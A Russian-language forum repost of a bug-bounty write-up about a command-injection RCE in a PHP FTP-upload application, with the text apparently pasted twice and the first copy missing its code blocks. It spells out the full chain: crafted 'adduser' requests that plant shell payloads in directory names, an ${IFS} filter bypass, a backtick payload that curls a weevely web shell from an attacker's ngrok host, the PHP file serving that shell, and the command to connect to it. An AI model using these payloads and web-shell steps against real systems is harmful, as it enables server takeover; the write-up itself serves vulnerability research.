D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Эту статью можно было бы считать продолжением моих предыдущих находок за 10 000 долларов.
Ранее я мог получить доступ к исходному коду через открытый каталог .git, в котором была обнаружена уязвимость RCE. После того как я изучил уязвимость, я продолжил изучать код в поисках других уязвимостей.
К счастью, я нашел другую, более сложную RCE, с помощью функции создания каталогов.
Вам это понравится=)
Прежде всего, чтобы найти уязвимости в исходном коде, вам необходимо определить потенциальные точки входа. Для этой цели можно использовать такие инструменты, как SonarQube, но я предпочитаю использовать олдскульный grep.
Вот несколько примеров для PHP:
Изображение [1] : testSize.php
Целью этого кода является определение размеров файлов. Прежде всего, в строке 40 вызывается scandir(), возвращающий массив содержимого каталога. Далее имена файлов и каталогов фильтруются с помощью preg_replace() и отправляются в функцию filesize64(), где находится вызов @exec().
Очень круто, но этот код не принимает никаких пользовательских данных для внедрения, за исключением содержимого каталога /home/html/ftp-upload/uploads/OELxI386/, над которым я не имею никакого контроля. Поэтому я отложил этот код в сторону на несколько недель…
Код, который отвечает за это:
Изображение [2] : adduser
Изображение [3] : Сама команда
Таким образом, передавая значения с пробелом, код для создания каталога будет выглядеть следующим образом:
Код: Скопировать в буфер обмена
Первой мыслью было попробовать создать каталог с полезной нагрузкой в названии, который отправит запрос на мой сервер.
Если запрос поступает, значит, код успешно выполнен.
Для этого я использовал команду dig:
Код: Скопировать в буфер обмена
И для того, чтобы каталог с таким именем был прочитан scandir(), мы создаем его в uploads/OELxI386/
Запрос:
Но ничего не сработало из-за использования пробела в полезной нагрузке, когда он попадает в команду mkdir, пробел разделяет полезную нагрузку и создает три каталога:
Код: Скопировать в буфер обмена
Следовательно, наша полезная нагрузка не должна содержать пробелов, их можно заменить на ${IFS}.
Заключительный запрос:
Код: Скопировать в буфер обмена
Изображение [4] : Замена пробеловОтлично!
Каталог с полезной нагрузкой в названии был создан, и теперь необходимо запустить скрипт с уязвимой функцией, которая читает (в этом контексте, читает - принимает имена каталогов как инпут) содержимое каталога. Для этого нам нужно перейти к
Мы видим, что скрипт сработал:
Изображение [5] : Запуск testSize.php
И запрос успешно поступил. Это RCE!
2. Полезная нагрузка отправляется скрипту, который создает каталог.
Изображение [6] : Команда которая создает каталог
Команда, которая будет выполнена на сервере, является:
Код: Скопировать в буфер обмена
3. Запускаем скрипт чтения каталога:
Скрипт считывает содержимое каталога /home/html/ftp-upload/uploads/OELxI386/ (в который мы загрузили полезную нагрузку)
и передает его функции filesize64(), где происходит вызов кода с нашей полезной нагрузкой.
Изображение [7] : testSize.php
Он передается в функцию filesize64(), где происходит вызов кода с нашей полезной нагрузкой.
Изображение [8] : Функция filesize64
Давайте перейдем к этапам воспроизведения:
1. Создайте оболочку с помощью weevely и сохраните ее в формате txt
2. Создайте index.php файл, который будет использоваться на нашем сервере для загрузки оболочки.
Код: Скопировать в буфер обмена
При отправке запроса к этому скрипту уязвимый сервер примет наш shell.txt и сохраняет его как shell.php . Таким образом, shell.php будет загружен на уязвимый сервер.
3. Настройте локальный PHP-сервер и туннелируйте соединение с помощью ngrok.
Код: Скопировать в буфер обмена
4. Последним шагом является создание окончательной полезной нагрузки, которая загрузит нашу оболочку на сервер.
Поскольку на сервере все еще есть фильтрация, потребовался небольшой мозговой штурм, и в результате я получил следующую полезную нагрузку:
Код: Скопировать в буфер обмена
Полезная нагрузка выполнит следующие команды на уязвимом сервере:
Код: Скопировать в буфер обмена
Поскольку сервер использует фильтрацию в виде preg_match(‘/[\/:”*?<>|]+/’, $ f), было невозможно использовать косые черты в коде.
Результат:
Изображение [9] : Полезная нагрузка
5. Мы вызываем скрипт для выполнения кода
После чего мы получаем запрос на наш сервер
Изображение [10] : Ngrok
И мы проверяем каталог errors/ на наличие оболочки
Изображение [11] : WEB Shell
И это там!
6. Все, что осталось, - это подключиться к нему и выполнять команды
Код: Скопировать в буфер обмена
Изображение [12] : Weevely
Теперь мы можем пойти отпраздновать в ближайший бар.
После нескольких дней исправлений команда наградила меня баунти (как традиция, мотивационный скриншот =))
Изображение [13] : Бабки
На этот раз они заплатили мне намного меньше, чем я ожидал, и компания объяснила это следующим образом:
Изображение [14] : Отговорки
Это обратная сторона поиска ошибок на автономных платформах.
Я надеюсь, что смог доходчиво рассказать вам об интересном случае с использованием уязвимости. Счастливой охоты и много-много баунти всем!
Свяжитесь со мной через Linkedin - https://www.linkedin.com/in/levsaar/
Ранее я мог получить доступ к исходному коду через открытый каталог .git, в котором была обнаружена уязвимость RCE. После того как я изучил уязвимость, я продолжил изучать код в поисках других уязвимостей.
К счастью, я нашел другую, более сложную RCE, с помощью функции создания каталогов.
Вам это понравится=)
Примечание: Я рекомендую прочитать мою предыдущую статью, чтобы понять, как я получил доступ к исходному коду веб-приложения. https://medium.com/@levshmelevv/10-000-bounty-for-exposed-git-to-rce-304c7e1f54
Нажмите, чтобы раскрыть...
Прежде всего, чтобы найти уязвимости в исходном коде, вам необходимо определить потенциальные точки входа. Для этой цели можно использовать такие инструменты, как SonarQube, но я предпочитаю использовать олдскульный grep.
Вот несколько примеров для PHP:
XSS:
Код: Скопировать в буфер обмена
Код:
grep -Ri "\$_" . | grep "echo"
grep -Ri "\$_GET" . | grep "echo"
grep -Ri "\$_POST" . | grep "echo"
grep -Ri "\$_REQUEST" . | grep "echo"
Command execution:
Код: Скопировать в буфер обмена
Код:
grep -Ri "shell_exec(" .
grep -Ri "system(" .
grep -Ri "exec(" .
Code execution:
Код: Скопировать в буфер обмена
Код:
grep -Ri "eval(" .
grep -Ri "assert(" .
grep -Ri "preg_replace" . | grep "/e"
SQL Injection:
Код: Скопировать в буфер обмена
Код:
grep -Ri "\$sql" .
grep -Ri "\$sql" . | grep "\$_"
RFI/LFI:
Код: Скопировать в буфер обмена
Код:
grep -Ri "file_include" .
grep -Ri "include(" .
grep -Ri "require(" .
grep -Ri "include_once(" .
grep -Ri "require_once(" .
grep -Ri "require_once(" . | grep "\$_"
Глава 1
После сканирования кода я сосредоточился на этом разделе, где используется функция @exec(). С помощью этой функции я попытаюсь получить RCE.Изображение [1] : testSize.php
Целью этого кода является определение размеров файлов. Прежде всего, в строке 40 вызывается scandir(), возвращающий массив содержимого каталога. Далее имена файлов и каталогов фильтруются с помощью preg_replace() и отправляются в функцию filesize64(), где находится вызов @exec().
Очень круто, но этот код не принимает никаких пользовательских данных для внедрения, за исключением содержимого каталога /home/html/ftp-upload/uploads/OELxI386/, над которым я не имею никакого контроля. Поэтому я отложил этот код в сторону на несколько недель…
Глава 2
Через некоторое время я решил перепроверить, как был исправлен мой предыдущий RCE на этом ресурсе. Я попробовал использовать разные полезные нагрузки и случайно обнаружил, что если я укажу два значения, разделенных пробелом (test%20somename) в параметре adduser, например, в этом URL:http://example.com/ftp-upload/sync.php?adduser=test%20someuser&secret1=[secret1]&secret2=[secret2]
— значение после пробела будет использовано для создания каталога с тем же именем в том же расположении, что и PHP-файл.Код, который отвечает за это:
Изображение [2] : adduser
Изображение [3] : Сама команда
Таким образом, передавая значения с пробелом, код для создания каталога будет выглядеть следующим образом:
Код: Скопировать в буфер обмена
mkdir /home/html/ftp-upload/uploads/test somename
Глава 3
Возможность создавать свои собственные каталоги привела меня к идее использовать это для ввода полезной нагрузки в @exec() и использовать эту цепочку для достижения RCE.Первой мыслью было попробовать создать каталог с полезной нагрузкой в названии, который отправит запрос на мой сервер.
Если запрос поступает, значит, код успешно выполнен.
Для этого я использовал команду dig:
Код: Скопировать в буфер обмена
dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
И для того, чтобы каталог с таким именем был прочитан scandir(), мы создаем его в uploads/OELxI386/
Запрос:
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig%20rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]
Но ничего не сработало из-за использования пробела в полезной нагрузке, когда он попадает в команду mkdir, пробел разделяет полезную нагрузку и создает три каталога:
Код: Скопировать в буфер обмена
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
Следовательно, наша полезная нагрузка не должна содержать пробелов, их можно заменить на ${IFS}.
Заключительный запрос:
Код: Скопировать в буфер обмена
http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`&secret1=[secret1]&secret2=[secret2]
Изображение [4] : Замена пробелов
Каталог с полезной нагрузкой в названии был создан, и теперь необходимо запустить скрипт с уязвимой функцией, которая читает (в этом контексте, читает - принимает имена каталогов как инпут) содержимое каталога. Для этого нам нужно перейти к
http://example.com/ftp-upload/testSize.php
Мы видим, что скрипт сработал:
Изображение [5] : Запуск testSize.php
И запрос успешно поступил. Это RCE!
Давайте повторим то, что здесь произошло:
1. Мы отправляем запрос на создание каталога с полезной нагрузкой в нужном нам месте:http://example.com/ftp-upload/sync.php?adduser=test%20uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com&secret1=[secret1]&secret2=[secret2]
2. Полезная нагрузка отправляется скрипту, который создает каталог.
Изображение [6] : Команда которая создает каталог
Команда, которая будет выполнена на сервере, является:
Код: Скопировать в буфер обмена
mkdir /home/html/ftp-upload/uploads/test uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com
3. Запускаем скрипт чтения каталога:
http://example.com/ftp-upload/testSize.php
Скрипт считывает содержимое каталога /home/html/ftp-upload/uploads/OELxI386/ (в который мы загрузили полезную нагрузку)
и передает его функции filesize64(), где происходит вызов кода с нашей полезной нагрузкой.
Изображение [7] : testSize.php
Изображение [8] : Функция filesize64
Глава 4
Все, что осталось, - это загрузить оболочку для беспрепятственного выполнения кода на сервере.Давайте перейдем к этапам воспроизведения:
1. Создайте оболочку с помощью weevely и сохраните ее в формате txt
weevely generate 123pass shell.txt
2. Создайте index.php файл, который будет использоваться на нашем сервере для загрузки оболочки.
Код: Скопировать в буфер обмена
Код:
<?php
$attachment_location = "shell.txt";
if (file_exists($attachment_location)) {
header($_SERVER["SERVER_PROTOCOL"] . " 200 OK");
header("Cache-Control: public");
header("Content-Type: plane/text");
header("Content-Transfer-Encoding: Binary");
header("Content-Length:".filesize($attachment_location));
header("Content-Disposition: attachment; filename=shell.php");
readfile($attachment_location);
die();
} else {
die("Error: File not found.");
}
3. Настройте локальный PHP-сервер и туннелируйте соединение с помощью ngrok.
Код: Скопировать в буфер обмена
Код:
php -S 127.0.0.1:8889 index.php
ngrok http -subdomain=rce 8889 -scheme http -scheme https
4. Последним шагом является создание окончательной полезной нагрузки, которая загрузит нашу оболочку на сервер.
Поскольку на сервере все еще есть фильтрация, потребовался небольшой мозговой штурм, и в результате я получил следующую полезную нагрузку:
Код: Скопировать в буфер обмена
uploads/OELxI386/`cd${IFS}errors%26%26curl${IFS}rce.eu.ngrok.io${IFS}-o${IFS}shell.php`
Полезная нагрузка выполнит следующие команды на уязвимом сервере:
Код: Скопировать в буфер обмена
Код:
cd errors #To go to a writable directory
curl rce.eu.ngrok.io -o shell.php #The command that will download the shell to the vulnerable server
Результат:
http://example.com/ftp-upload/sync.php?adduser=[B]test%20uploads/OELxI386/dig${IFS}rce.ct9zmv3v0e1uai2y5bc9q2b0grmka9.oastify.com[/B]&secret1=[secret1]&secret2=[secret2]
Изображение [9] : Полезная нагрузка
5. Мы вызываем скрипт для выполнения кода
http://example.com/ftp-upload/testSize.php
После чего мы получаем запрос на наш сервер
Изображение [10] : Ngrok
Изображение [11] : WEB Shell
И это там!
6. Все, что осталось, - это подключиться к нему и выполнять команды
Код: Скопировать в буфер обмена
weevely http://example.com/ftp-upload/errors/shell.php 123pass
Изображение [12] : Weevely
Теперь мы можем пойти отпраздновать в ближайший бар.
После нескольких дней исправлений команда наградила меня баунти (как традиция, мотивационный скриншот =))
Изображение [13] : Бабки
На этот раз они заплатили мне намного меньше, чем я ожидал, и компания объяснила это следующим образом:
Изображение [14] : Отговорки
Это обратная сторона поиска ошибок на автономных платформах.
Я надеюсь, что смог доходчиво рассказать вам об интересном случае с использованием уязвимости. Счастливой охоты и много-много баунти всем!
Свяжитесь со мной через Linkedin - https://www.linkedin.com/in/levsaar/